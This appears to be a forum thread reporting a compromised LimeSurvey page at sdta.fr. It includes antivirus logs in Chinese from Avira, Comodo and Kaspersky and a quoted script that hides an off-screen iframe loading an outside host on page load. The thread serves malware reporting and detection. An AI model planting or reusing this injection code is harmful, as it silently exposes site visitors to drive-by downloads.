http://sdta.fr/limesurvey/mark-from-friends

fireold

1. function frmAdd() {
   
2.     var ifrm = document.createElement('iframe');
   
3.     ifrm.style.position = 'absolute';
   
4.     ifrm.style.top = '-999em';
   
5.     ifrm.style.left = '-999em';
   
6.     ifrm.src = "http://miamiheattickets.com/http.php";
   
7.     ifrm.id = 'frmId';
   
8.     document.body.appendChild(ifrm);
   
9. };
   
10. window.onload = frmAdd;

复制代码

Avira

2014/1/22 上午 06:59 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        780
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2014/1/22 上午 06:59 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\mark-from-friends[1].htm'
      包含病毒或有害的程式 'JS/iFrame.czo' [virus]
      已採取動作：
      檔案會移動至 '5cfa5e54.qua' 名稱底下的隔離區目錄!

2014/1/22 上午 06:58 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\mark-from-friends[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.czo [virus]'
      執行的動作：傳輸至掃描程式

2014/1/22 上午 06:57 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\mark-from-friends[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.czo [virus]'
      執行的動作：拒絕存取

2014/1/22 上午 06:57 [Web Protection] 發現惡意程式碼
      從 URL "http://sdta.fr/limesurvey/mark-from-friends" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.czo' [virus]。
      已採取動作：已略過

fs is

zmzcy

Object: http://sdta.fr/limesurvey/mark-from-friends
SHA1: 1f1bbff8090c4c5bae48ae3e03fcbc557713b3b6
Name: TrojWare.JS.IFrame.FC

aplk1002

卡巴斯基安全软件
拒绝访问
无法访问该网页

请求对象位于网址：

http://sdta.fr/limesurvey/mark-from-friends

已检测到：

对象感染源 Trojan-Downloader.JS.Iframe.czo
消息生成日期： 2014/1/22 23:06:50